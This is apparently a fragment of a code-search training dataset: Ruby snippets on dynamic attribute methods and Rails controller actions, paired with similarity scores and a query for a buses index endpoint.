"def method_missing(method, *args, &block)\n attribute = Ldaptic.encode(method)\n if attribute[-1] == ?=\n attribute.chop!\n if may_must(attribute)\n return write_attribute(attribute, *args, &block)\n end\n elsif attribute[-1] == ??\n attribute.chop!\n if may_must(attribute)\n if args.empty?\n return !read_attribute(attribute).empty?\n else\n return args.flatten.any? {|arg| compare(attribute, arg)}\n end\n end\n elsif attribute =~ /\\A(.*)-before-type-cast\\z/ && may_must($1)\n return read_attribute($1, *args, &block)\n elsif may_must(attribute)\n return read_attribute(attribute, *args, &block).one\n end\n super(method, *args, &block)\n end",
"def predicate(method)\n if method.to_s =~ /(.*?)\\?+$/\n attribute = $1.to_sym\n else\n raise NameError\n end\n\n attr_writer attribute unless method_defined? attribute\n\n if method_defined? attribute\n define_method method do\n !!send(attribute)\n end\n else\n define_method method do\n !!instance_variable_get(:\"@#{attribute}\")\n end\n end\n end",
"def subclass_validations ; true ; end",
"def method_missing(method_id, *arguments, &block)\n if match = DynamicFinderMatch.match(method_id)\n attribute_names = match.attribute_names\n super unless all_attributes_exists?(attribute_names)\n if match.finder?\n finder = match.finder\n bang = match.bang?\n self.class_eval <<-EOS, __FILE__, __LINE__ + 1\n def self.#{method_id}(*args)\n options = args.extract_options!\n attributes = construct_attributes_from_arguments(\n [:#{attribute_names.join(',:')}],\n args\n )\n finder_options = { :conditions => attributes }\n validate_find_options(options)\n\n #{'result = ' if bang}if options[:conditions]\n with_scope(:find => finder_options) do\n find(:#{finder}, options)\n end\n else\n find(:#{finder}, options.merge(finder_options))\n end\n #{'result || raise(RecordNotFound, \"Couldn\\'t find #{name} with #{attributes.to_a.collect {|pair| \"#{pair.first} = #{pair.second}\"}.join(\\', \\')}\")' if bang}\n end\n EOS\n send(method_id, *arguments)\n elsif match.instantiator?\n instantiator = match.instantiator\n self.class_eval <<-EOS, __FILE__, __LINE__ + 1\n def self.#{method_id}(*args)\n attributes = [:#{attribute_names.join(',:')}]\n protected_attributes_for_create, unprotected_attributes_for_create = {}, {}\n args.each_with_index do |arg, i|\n if arg.is_a?(Hash)\n protected_attributes_for_create = args[i].with_indifferent_access\n else\n unprotected_attributes_for_create[attributes[i]] = args[i]\n end\n end\n\n find_attributes = (protected_attributes_for_create.merge(unprotected_attributes_for_create)).slice(*attributes)\n\n options = { :conditions => find_attributes }\n\n record = find(:first, options)\n\n if record.nil?\n record = self.new(unprotected_attributes_for_create)\n #{'record.save' if instantiator == :create}\n record\n else\n record\n end\n end\n EOS\n send(method_id, *arguments, &block)\n end\n else\n super\n end\n end",
"def method_missing(method_sym, *arguments)\n\t\t\tif EXPRESSIONS.include?(method_sym)\n\t\t\t\treturn Condition.new.from_list(method_sym, arguments)\n\t\t\telsif LAYOUT.include?(method_sym) || PAINT.include?(method_sym) || TOP_LEVEL.include?(method_sym)\n\t\t\t\tv = arguments.length==1 ? arguments[0] : arguments\n\t\t\t\tif v.is_a?(Proc) then v=v.call(@kv[method_sym]) end\n\t\t\t\tif @cascade_cond.nil?\n\t\t\t\t\t@kv[method_sym] = v\n\t\t\t\telse\n\t\t\t\t\t_add_cascade_condition(method_sym, v)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\treturn Condition.new.from_list(\"get\", [method_sym])\n\t\t\tend\n\t\tend",
"def inject_acl_object_check(method_name,mode)\n class_eval <<-EOV\n unless respond_to?(:no_acl_#{method_name})\n alias_method :no_acl_#{method_name}, :#{method_name} unless respond_to?(:no_acl_#{method_name})\n private :no_acl_#{method_name}\n end\n EOV\n command = <<-EOV\n def #{method_name}(*args,&block)\n permitted_to!(:#{mode}_#{method_name}) if (!permitted_to?(:#{mode}))\n return send(:no_acl_#{method_name},*args,&block)\n end\n EOV\n instance_eval command\n end",
"def instance_respond_to?(attr)\n instance.respond_to?(:\"#{name}_#{attr}\")\n end",
"def method_missing(method_name, *_args)\n if attrs.key?(method_name.to_s)\n attrs[method_name.to_s]\n else\n super(method_name)\n end\n end",
"def read_attribute_for_validation(attr)\r\n send(attr)\r\n end",
"def validate\n raise NoMethodError, \"must define method 'validate'\"\n end",
"def respond_to_missing?(method_name, include_private = false)\n @attributes.key?(method_name) || @attributes.key?(depredicate(method_name)) || super\n end",
"def method_missing(method, *args, &block)\n \n # The getter\n if @metadata.has_key?(method)\n return attribute_get(method)\n else\n # The setter\n \n if (attribute=method.to_s.match(/(.+)=$/).to_a.last)\n attribute_set(attribute, args.first)\n return\n end\n end\n \n super\n \n end",
"def check_dsl(attribute, value)\n runner = CrossValidation::Runner.create { |r|\n r.public_send(\"#{attribute}=\", :value)\n }\n\n define_method(\"test_#{attribute}_getter\") {\n assert_equal :value, runner.public_send(attribute)\n }\n\n define_method(\"test_runner_is_invalid_with_only_#{attribute}_set\") {\n assert runner.invalid?\n }\nend",
"def create_accessors(name, meth, options = {})\n define_method(meth) { read_attribute(name) }\n define_method(\"#{meth}=\") { |value| write_attribute(name, value) }\n define_method(\"#{meth}?\") do\n attr = read_attribute(name)\n (options[:type] == Boolean) ? attr == true : attr.present?\n end\n end",
"def rule\n super\n end",
"def rule\n super\n end",
"def method_missing_with_dynamic_attributes(method_id, *args, &block)\n begin\n method_missing_without_dynamic_attributes method_id, *args, &block\n rescue NoMethodError => e\n attr_name = method_id.to_s.sub(/\\=$/, '')\n if is_dynamic_attribute?(attr_name)\n if method_id.to_s =~ /\\=$/\n return write_attribute_with_dynamic_attributes(attr_name, args[0])\n else\n return read_attribute_with_dynamic_attributes(attr_name)\n end\n end\n raise e\n end\n end",
"def perform_validation\n raise NotImplementedError\n end",
"def evaluate_attribute_method(attr_name, method_definition, method_name=attr_name)\n unless unchangeable_property_names.include?(attr_name.to_sym)\n generated_methods << method_name\n end\n\n begin\n class_eval(method_definition, __FILE__, __LINE__)\n rescue SyntaxError => err\n generated_methods.delete(attr_name)\n if logger\n logger.warn \"Exception occurred during reader method compilation.\"\n logger.warn \"Maybe #{attr_name} is not a valid Ruby identifier?\"\n logger.warn \"#{err.message}\"\n end\n end\n end",
"def create_method_from_expressions; end",
"def attribute_from_method( methodname )\n\n\t\tcase methodname.to_s\n\t\twhen /^(?:has_)?([a-z]\\w*)\\?$/i\n\t\t\treturn $1.to_sym, :predicate\n\t\twhen /^([a-z]\\w*)(=)?$/i\n\t\t\treturn $1.to_sym, ($2 ? :writer : :reader )\n\t\tend\n\tend",
"def add_rule(opts)\n opts = check_params(opts,[:rules])\n super(opts)\n end",
"def method_missing(method_name, *args)\n if method_name.to_s.match?(OPTION_ATTRIBUTE_RE)\n nil\n else\n super\n end\n end",
"def method_missing(method, *args, &block)\n result = fields[:\"#{method.to_s.camelize(:lower)}\"]\n # we need to pull out any Contentful::Link references, and also things which don't have any fields at all\n # because they're newly created\n if result.is_a?(Array)\n result.reject! {|r| r.is_a?(Contentful::Link) || (r.respond_to?(:invalid) && r.invalid?)}\n elsif result.is_a?(Contentful::Link)\n result = nil\n elsif result.respond_to?(:fields) && result.send(:fields).empty?\n result = nil\n elsif result.respond_to?(:invalid?) && result.invalid?\n result = nil\n end\n\n if result.nil?\n # if self.class.rescue_from_no_attribute_fields.member?()\n # end\n if self.class.return_nil_for_empty_attribute_fields && self.class.return_nil_for_empty_attribute_fields.include?(method)\n return nil\n else\n raise ContentfulModel::AttributeNotFoundError, \"no attribute #{method} found\"\n end\n else\n self.class.coerce_value(method, result)\n end\n end",
"def method_missing(method, *args, &block)\n result = fields[:\"#{method.to_s.camelize(:lower)}\"]\n # we need to pull out any Contentful::Link references, and also things which don't have any fields at all\n # because they're newly created (we think exposing these in the Contentful API is a bug, actually)\n if result.is_a?(Array)\n result.reject! {|r| r.is_a?(Contentful::Link) || (r.respond_to?(:invalid) && r.invalid?)}\n elsif result.is_a?(Contentful::Link)\n result = nil\n elsif result.respond_to?(:fields) && result.send(:fields).empty?\n result = nil\n elsif result.respond_to?(:invalid?) && result.invalid?\n result = nil\n end\n\n\n\n if result.nil?\n # if self.class.rescue_from_no_attribute_fields.member?()\n # end\n if self.class.return_nil_for_empty_attribute_fields && self.class.return_nil_for_empty_attribute_fields.include?(method)\n return nil\n else\n raise ContentfulModel::AttributeNotFoundError, \"no attribute #{method} found\"\n end\n else\n # if there's no coercion specified, return the result\n if self.class.coercions[method].nil?\n return result\n #if there's a coercion specified for the field and it's a proc, pass the result\n #to the proc\n elsif self.class.coercions[method].is_a?(Proc)\n return self.class.coercions[method].call(result)\n #provided the coercion is in the COERCIONS constant, call the proc on that\n elsif !self.class::COERCIONS[self.class.coercions[method]].nil?\n return self.class::COERCIONS[self.class.coercions[method]].call(result)\n else\n #... or just return the result\n return result\n end\n end\n end",
"def method_missing(meth, *args, &block)\n dynamic_methods = self.class.instance_variable_get('@resource_map').keys\n dynamic_methods << :chain\n dynamic_methods << :table\n dynamic_methods << :action\n\n if dynamic_methods.include?(meth.to_sym) then\n if @property_hash[meth.to_sym] then\n return @property_hash[meth.to_sym]\n else\n return nil\n end\n elsif dynamic_methods.include?(meth.to_s.chomp(\"=\").to_sym) then\n debug(\"Args: #{args}\")\n @property_hash[:needs_change] = true\n return true\n end\n\n debug(\"Dynamic methods: #{dynamic_methods.join(' ')}\")\n debug(\"Method missing: #{meth}. Calling super.\")\n\n super\n end",
"def phony_normalized_method(*attributes)\n main_options = attributes.last.is_a?(Hash) ? attributes.pop : {}\n main_options.assert_valid_keys :country_code, :default_country_code\n attributes.each do |attribute|\n raise(StandardError, \"Instance method normalized_#{attribute} already exists on #{name} (PhonyRails)\") if method_defined?(:\"normalized_#{attribute}\")\n\n define_method :\"normalized_#{attribute}\" do |*args|\n options = main_options.merge(args.first || {})\n assign_values_for_phony_symbol_options(options)\n raise(ArgumentError, \"No attribute/method #{attribute} found on #{self.class.name} (PhonyRails)\") unless respond_to?(attribute)\n\n options[:country_code] ||= country_code if respond_to?(:country_code)\n PhonyRails.normalize_number(send(attribute), options)\n end\n end\n end",
"def method_missing(name, *args, &block)\n Waw::Validation.send(name, *args, &block)\n rescue Exception => ex\n raise ex.class, ex.message, caller\n end",
"def method_missing_with_dynamic_attributes(method_id, *args, &block)\n begin\n method_missing_without_dynamic_attributes method_id, *args, &block\n rescue NameError => e\n attr_name = method_id.to_s.sub(/\\=$/, '')\n if is_dynamic_attribute?(attr_name)\n if method_id.to_s =~ /\\=$/\n return write_attribute_with_dynamic_attributes(attr_name, args[0])\n else\n return read_attribute_with_dynamic_attributes(attr_name)\n end\n end\n raise e\n end\n end",
"def is_attribute(word)\n define_method(word.to_sym) do |*args, &block|\n @result.__send__(\"#{word}=\".to_sym, args[0])\n end\n end",
"def method_rules\n [\n Rule.new(:error, 40..41, \"Description\", \"You should include a description for your method.\", proc do |json|\n json[:body_md] && json[:body_md].empty?\n end),\n Rule.new(:warning, 43..45, \"Params\", \"You should give a 'type' for the param, yes, ruby is duck-typey but it's useful for newbies to the language, use `@param [Type] name`.\", proc do |json|\n json[:param_couplets] && json[:param_couplets].flat_map(&:values).include?(nil)\n end),\n Rule.new(:warning, 43..45, \"Unknown Param\", \"You should give a 'type' for the param, yes, ruby is duck-typey but it's useful for newbies to the language, use `@param [Type] name`.\", proc do |json|\n json[:param_couplets] && json[:param_couplets].flat_map(&:values).include?(\"Unknown\")\n end),\n Rule.new(:warning, 46, \"Return Type\", \"If the function has no useful return value, use ` @return [void]` - this will be ignored by documentation generators.\", proc do |json|\n return_hash = json[:tags].find { |tag| tag[:name] == \"return\" }\n !(return_hash && return_hash[:types] && !return_hash[:types].first.empty?)\n end)\n ]\n end",
"def method_missing(method_id, *args)\n\t\tif match = matches_dynamic_role_check?(method_id)\n\t\t\ttokenize_roles(match.captures.first).each do |check|\n\t\t\t\treturn true if roles.collect{|r| r.name.downcase }.include?(check)\n\t\t\tend\n\t\t\treturn false\n\t\telsif match = matches_dynamic_perm_check?(method_id)\n\t\t\ttokenize_roles(match.captures.first).each do |check|\t\n\t\t\t\treturn true if permissions.collect{|p| p.name.downcase }.include?(check)\n\t\t\tend\n\t\t\treturn false\n\t\telse\n\t\t\tsuper\n\t\tend\n\tend",
"def method_required?(attribute) #:nodoc:\n if @object && @object.class.respond_to?(:reflect_on_validations_for)\n attribute_sym = attribute.to_s.sub(/_id$/, '').to_sym\n\n @object.class.reflect_on_validations_for(attribute_sym).any? do |validation|\n validation.macro == :validates_presence_of &&\n validation.name == attribute_sym &&\n (validation.options.present? ? options_require_validation?(validation.options) : true)\n end\n else\n @@all_fields_required_by_default\n end\n end",
"def method_missing(method_id, *arguments, &block)\n return data['attributes'][method_id.to_s] if data['attributes'].key?(method_id.to_s) && arguments.none? && block.nil?\n\n super\n end",
"def define_attribute_method(attribute)\n type = attribute_types[attribute]\n super unless TypeMap.lookup(type, self, attribute)\n end",
"def validate_params(method_name, params)\n errors = []\n\n # fetch method rulesets\n method = @methods_loaded[method_name.to_sym]\n \n if method.nil?\n # TODO enable devel or prod mode to raise or not an exception\n errors.push \"Unable to validate method #{method_name} with (#{@methods_loaded.keys.length}) keys #{@methods_loaded.keys}\"\n raise ArgumentError, errors\n end\n\n # fetch all params (optional and mandatory)\n check_params = method.parameters\n\n self.class.validate_ruleset(check_params, params)\n\n end",
"def method_missing(method_name, *args)\n method_match, attribute_name, equal_sign = method_name.to_s.match(/\\A([^=]+)(=)?\\Z/).to_a\n if attribute_name && self.class.valid_attributes.include?(attribute_name.to_sym)\n if equal_sign \n attributes[attribute_name.to_sym] = args.first\n else\n attributes[attribute_name.to_sym]\n end\n else\n super\n end\n end",
"def create_attr_methods(name, val)\n self.instance_variable_set \"@#{name}\", val\n self.class.class_eval do\n define_method(\"#{name}\") { val }\n end\n end",
"def method_missing(method, *args)\n return Penctl.set_boolean_attribute(@pen, method, args[0]) if BOOLEAN_ATTRIBS.include? method\n return Penctl.get_set_attribute(@pen, method, args[0]) if GETTERS_SETTERS.include? method.to_s.chomp('=').to_sym\n return Penctl.get_set_attribute(@pen, method, args[0]) if GETTERS.include? method\n return Penctl.execute(@pen, \"#{method.to_s.chomp('!')} #{args[0]}\".strip) if COMMANDS.include? method\n raise \"Missing method #{method}\"\n end",
"def __apply__(rule) = public_send(rule)",
"def method_missing(method_id, *args)\n\t\tif match = matches_dynamic_role_check?(method_id)\n\t\t\ttokenize_roles(match.captures.first).each do |check|\n\t\t\t\troles.each do |role|\n\t\t\t\t\treturn true if role.name.downcase == check\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn false\n\t\telse\n\t\t\tsuper\n\t\tend\n\tend",
"def respond_to_missing?(method_name, include_private = false)\n valid?(method_name) || super\n end",
"def attr_predicate(symbol)\n define_method(\"#{symbol}?\") do\n ::ActiveRecord::ConnectionAdapters::Column.value_to_boolean(instance_variable_get(\"@#{symbol}\")) == true\n end\n end"
] |
[
"0.70928687",
"0.68974805",
"0.683181",
"0.64547783",
"0.6231495",
"0.61799836",
"0.6179913",
"0.60706633",
"0.60041404",
"0.59929585",
"0.5979444",
"0.59377193",
"0.59368175",
"0.58783525",
"0.586986",
"0.5863075",
"0.58529496",
"0.5851797",
"0.5838575",
"0.5834401",
"0.5834092",
"0.58182496",
"0.58174455",
"0.5815594",
"0.5809569",
"0.5785925",
"0.57689744",
"0.5748399",
"0.57456696",
"0.5741008",
"0.573645",
"0.5717255",
"0.5714753",
"0.57142186",
"0.57108355",
"0.5706392",
"0.57057685",
"0.57007563",
"0.5698096",
"0.5694794",
"0.569427",
"0.5688816",
"0.56865287",
"0.56825626",
"0.5633121",
"0.56168395",
"0.5613586",
"0.55984426",
"0.5595455",
"0.5585181",
"0.55830735",
"0.5564344",
"0.55636656",
"0.55545914",
"0.5545763",
"0.554575",
"0.5539065",
"0.55279535",
"0.5524789",
"0.5518572",
"0.55147827",
"0.5477083",
"0.54757947",
"0.5467376",
"0.5456626",
"0.54556614",
"0.5452463",
"0.54508674",
"0.5442616",
"0.5440387",
"0.54320025",
"0.5430709",
"0.5425004",
"0.5425004",
"0.54217577",
"0.54181856",
"0.5415182",
"0.5413584",
"0.5408776",
"0.5406164",
"0.5397933",
"0.53950644",
"0.53853965",
"0.53848416",
"0.5384763",
"0.5377067",
"0.5376423",
"0.53762424",
"0.5375853",
"0.5375799",
"0.53698945",
"0.5366658",
"0.5364633",
"0.53600967",
"0.534951",
"0.5346293",
"0.53446054",
"0.53351",
"0.5334908",
"0.5326999",
"0.53242236"
] |
0.0
|
-1
|
GET /buses or /buses.json
|
def index
@buses = Bus.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def buses\n @buses = Bus.search(params[:source_search], params[:destination_search])\n end",
"def index\n @buses = Bus.where(id: params[:id], event_id: params[:event_id])\n end",
"def index\n @buses = Bus.order('leaving_from_id')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @buses }\n end\n end",
"def get_brandings\n request :get, \"/v3/brandings.json\"\n end",
"def show\n\n @buses = find_buses\n\n if @buses.empty?\n respond_to do |format|\n format.html { redirect_to edit_location_url(@location), notice: \"No buses within #{@location.acceptable_bus_distance} miles of this location!\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def get\n start { |connection| connection.request http :Get }\n end",
"def index\n @buses = Bus.order('created_at DESC').paginate(:page => params[:page], :per_page => 20)\n end",
"def bonuses\r\n BonusesController.instance\r\n end",
"def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end",
"def makes\n make_request :get, '/makes'\n end",
"def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend",
"def get\n @get ||= Verb.new do |verb|\n verb.entity :air, :lodging, :car, :rail, :transport, \\\n :cruise, :restaurant, :activity, :note, :map, :directions, \\\n :points_program \\\n do |entity, id|\n do_request('get', entity, {:id=>id}, nil)\n end\n\n verb.entity :profile do |*args|\n entity = args[0]\n do_request('get', entity, nil, nil)\n end\n\n verb.entity :trip do |*args|\n entity, id, filter = args\n if filter.nil?\n filter = {}\n end\n filter[:id] = id\n do_request('get', entity, filter, nil)\n end\n end\n end",
"def find_beers\n # Use wild cards to get any beer with search string in name\n beer_name = \"*#{params['name']}*\"\n response = HTTP.get('http://api.brewerydb.com/v2/beers',\n :params=> {\n :key => ENV[\"BREWERYDB_BEERRATER_KEY\"],\n :name => beer_name,\n :withBreweries => \"y\"\n }\n )\n\n body = response.parse\n\n # check for success\n if body[\"status\"] == \"success\"\n data = body[\"data\"]\n unless data.nil?\n render json: { status: 200, message: \"#{params['name']} found\", data: data}\n else\n render json: {\n status: 200,\n message: \"#{params['name']} not found\",\n data: []}\n end\n else\n render json: { status: 401, message: body[\"errorMessage\"] }\n end\n end",
"def index\n @users = User.all\n binding.pry\n require 'net/http'\n result = Net::HTTP.get('makesys.net', '/')\n p result\n end",
"def bridges_list\n get \"bridges\"\n end",
"def get(path, busca=nil)\n @client.get(path, busca)\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def get_beer\n beer_id = params['id'];\n response = HTTP.get('http://api.brewerydb.com/v2/beer/' + beer_id,\n :params=> {\n :key => ENV[\"BREWERYDB_BEERRATER_KEY\"],\n :withBreweries => \"y\"\n }\n )\n\n body = response.parse\n\n # check for success\n if body[\"status\"] == \"success\"\n data = body[\"data\"]\n unless data.nil?\n render json: {\n status: 200,\n message: \"#{params['id']} found\",\n data: data}\n else\n render json: {\n status: 200,\n message: \"#{params['id']} not found\",\n data: []\n }\n end\n else\n render json: { status: 401, message: body[\"errorMessage\"]}\n end\n end",
"def list\n get('/')\n end",
"def index\n @shop_section = ShopSection.find_by_short_url(\"brands\")\n @brands = Brand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brands }\n end\n end",
"def beacons\n response = request(:get, \"/beacon\")\n response_to_array(response, \"beacons\", KontaktIo::Resource::Beacon)\n end",
"def get endpoint\n do_request :get, endpoint\n end",
"def get(path, params={})\n params = merge_set_up_params(params)\n JSON.parse(Typhoeus::Request.get(API_URL + path, :params => params).body)[\"response\"]\n end",
"def get(url, params = {})\n client.get(url, params).body\n end",
"def get(path, params={})\n params = merge_set_up_params(params)\n @token = \"b3688c52-9235-45ca-b01f-c5b2b83a4f4f\"\n @result = Typhoeus::Request.get(API_URL + path, :params => params,\n :headers => {\"Authorization\" => \"Basic#{@token}\"})\n puts @result.body\n # check if the url looks correct in the log\n puts @result.effective_url\n # parse the result to json\n return JSON.parse(@result.body)\n end",
"def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end",
"def get(params = {})\n request! do\n api[url.path + to_query(params)].get(API_HEADERS)\n end\n end",
"def show\n @bb = Bb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bb }\n end\n end",
"def http( *args )\n p http_get( *args )\n end",
"def do_GET(request, response)\n status = 200\n content_type = \"text/html\"\n body = \"bender version #{BENDER_VERSION}\"\n body += \"\\n\"\n\n response.status = status\n response['Content-Type'] = content_type\n response.body = body\n response.body = body\n end",
"def get_coins\n get(\"/getcoins\")\n end",
"def do_get\n Net::HTTP.get(URI.parse(api_url))\n end",
"def index\n @bowlers = Bowler.all\n respond_with(@bowlers)\n end",
"def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend",
"def get_broadcasts uri\n begin\n response = RestClient.get(uri)\n broadcasts = []\n JSON.parse(response)['schedule']['day']['broadcasts'].each do |json|\n broadcasts << Broadcast.new(json['programme']['display_titles']['title'],\n json['programme']['display_titles']['subtitle'],\n Time.parse(json['start']),\n json['pid'])\n end\n return broadcasts\n rescue => e\n logger.error e.response\n end\n end",
"def ambassadors(params = {})\n self.class.get('/ambassador/all', params)\n end",
"def index\n endpoint(get(services_url).body)\n end",
"def bonuses(count = 10)\n params = { command: 'account_bonuses', count: count }\n get('/json.php', params)\n end",
"def show\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @broad }\n end\n end",
"def http\n HTTP .headers(accept: \"application/json\")\n # .via(\"127.0.0.1\", 8888)\n end",
"def get\n Iterable.request(conf, base_path).get\n end",
"def get\n Iterable.request(conf, base_path).get\n end",
"def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"def get_blockchain_stats\n stats = HTTParty.get(\"http://webbtc.com/stats.json\")\nend",
"def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend",
"def index\n @brands = Brand.all\n if params[:name]\n \t@brand = Brand.find_by_name(params[:name])\n end\n\n respond_to do |format|\n \tif @brand\n \t\tformat.html { redirect_to @brand }\n \t\tformat.json { render json: @brand }\n \telse\n\t format.html # index.html.erb\n \tformat.json { render json: @brands }\n end\n end\n end",
"def info\n get '/'\n end",
"def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end",
"def show\n @blast = Blast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blast }\n end\n end",
"def get(params={})\n rpc_call :get, params\n end",
"def index\n response = RestClient.get 'http://api.bitvalor.com/v1/order_book.json'\n data = JSON.parse(response.body)[\"bids\"]\n @fox = data.select {|element| element[0] == \"FOX\"}\n @b2u = data.select {|element| element[0] == \"B2U\"}\n @mbt = data.select {|element| element[0] == \"MBT\"}\n end",
"def init_brands\n response = @conn.get do |req|\n req.url \"/api/v1/brands\"\n req.headers = rest_headers\n end\n\n @brands = json(response.body)[:brands]\n end",
"def index\n @used_bikes = UsedBike.all\n\n render json: @used_bikes, each_serializer: Web::V1::UsedBikeSerializer\n end",
"def get(action, params)\n \n request = query_string(action, params)\n logger.debug(\"request: #{request}\")\n \n url = URI.parse(@endpoint)\n response = Net::HTTP.start(url.host, url.port) { |http|\n http.get(request)\n }\n \n status = success?(response.body)\n gateway_response = GatewayResponse.new(@endpoint, request, response.body, status) \n end",
"def show\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bloom }\n end\n end",
"def index\n @bids = @swarm_request.bids.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bids }\n end\n end",
"def get(name, &block)\n request(uri(name), &block)\n end",
"def get_banks\n HTTParty.get(BASE_URI + 'bank?country=ghana',\n headers: HEADERS).parsed_response\n end",
"def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend",
"def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :service_key => HttpClient::Preconditions.assert_class_or_nil('service_key', opts.delete(:service_key), String),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/watches\").with_query(query).get.map { |hash| Apidoc::Models::Watch.new(hash) }\n end",
"def api_get url_suffix\n url = URI::encode \"#{@@oauth_info[:api_url]}/gems/#{url_suffix}\"\n data = {:client_id => @@oauth_info[:client_id]}\n headers = {:Authorization => \"Bearer #{@access_token}\"}\n\n conn = get_conn url\n #Try request 3 times\n for i in 1..3\n res = conn.get(url, data, headers)\n if res.status == 200 then return JSON.parse(res.body) end\n sleep 1\n end\n raise OAuthSessionError, \"GET Failed. Status: #{res.status}. Body: #{res.body}\"\n end",
"def show\n @brewhouse = Brewhouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brewhouse }\n end\n end",
"def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end",
"def show_beer\n render json: BreweryDb::ShowBeer.new(params[:beerId]).results\n end",
"def ambassador(params = {})\n self.class.get('/ambassador/get', params)\n end",
"def list_all_shards(args = {}) \n get(\"/shards.json/\", args)\nend",
"def query\n\n JSON.parse(Net::HTTP.get(self.build_uri))\n\n end",
"def api_get(path, params = {})\n api_request(:get, path, :params => params)\n end",
"def room_descriptions_method\r\n my_port = 8081\r\n htttproomnumber = $roomnumber\r\n roomsNtext = \"/#{htttproomnumber}\"\r\n rooms_message = \"/rooms#{roomsNtext}\"\r\n url = URI.parse(\"http://localhost:#{my_port}#{rooms_message}\")\r\n req = Net::HTTP::Get.new(url.to_s)\r\n res = Net::HTTP.start(url.host, url.port){|http|\r\n http.request(req)\r\n }\r\n my_json = JSON.parse(res.body) \r\n return my_json[\"room\"].to_s\r\nend",
"def get\n appid = ENV['TRIMET_APP_ID']\n response = Unirest.get( \"http://developer.trimet.org/ws/v2/vehicles?appid=#{appid}\" )\n response.body\nend",
"def show\n @basin = Basin.find(params[:id])\n\n @client = YahooWeather::Client.new \n @response = @client.fetch_by_location('Massingir, Gaza, Mz','c')\n @reponse2 = @client.fetch_by_location('Louis Trichardt, Limpopo, South Africa','c')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basin }\n\n end\n end",
"def get(uri, params = {})\n send_request(uri, :get, params)\n end",
"def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def get(params = {})\n client.get(\"/v1/shopping/hotels/#{@hotel_id}/hotel-offers\", params)\n end",
"def buy_food(id,food_units)\r\n my_port = 8082\r\n store_message = \"/store/#{id}/#{$light}/#{$suit}/#{$wealth}/#{$sword}/#{$amulet}/#{$axe}/#{$food}/#{food_units}\"\r\n url = URI.parse(\"http://localhost:#{my_port}#{store_message}\")\r\n req = Net::HTTP::Get.new(url.to_s)\r\n res = Net::HTTP.start(url.host, url.port){|http|\r\n http.request(req)\r\n }\r\n my_json = JSON.parse(res.body) \r\n\r\n $light = my_json['light']\r\n $suit = my_json['suit']\r\n $wealth = my_json['wealth']\r\n $sword = my_json['sword']\r\n $amulet = my_json['amulet']\r\n $axe = my_json['axe']\r\n $food = my_json['food']\r\n puts(\"#{my_json['text']}\\n\")\r\nend",
"def banks_get(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: BanksApi#banks_get ...\"\n end\n \n # resource path\n path = \"/banks\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['khipu']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BanksResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: 